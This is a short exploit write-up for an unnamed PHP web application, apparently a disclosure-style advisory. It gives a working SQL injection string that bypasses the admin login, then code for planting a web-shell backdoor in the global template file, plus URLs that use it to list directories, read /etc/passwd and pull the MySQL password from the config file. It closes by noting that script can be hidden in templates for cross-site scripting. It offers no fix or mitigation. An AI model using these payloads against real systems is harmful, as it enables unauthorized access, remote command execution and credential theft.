SQL Injection / Login bypass:

A user can bypass admin password check, if magic_quotes is set to off:

user: ' or isnull(1/0) /*
pass: whatever


remote commands execution:

now, new admin can edit template, clicking on Templates -> Global footer, can
add the lines:

//***********************************************
</body>
</html>

TEMPLATE;
}
}
system($HTTP_GET_VARS[command]);

/*

to leave a backdoor in template file /templates/tpl_global.php
now can launch system commands on the target system with theese urls:

http://[target]/[path]//templates/tpl_global.php?command=ls%20-la

to list directories

http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/etc/passwd

to see /etc/passwd file

http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/[path_to_config_file]/data.inc.php

to see Mysql database password (look inside html...)


cross site scripting:

same way, a user can hide evil javascript code in template
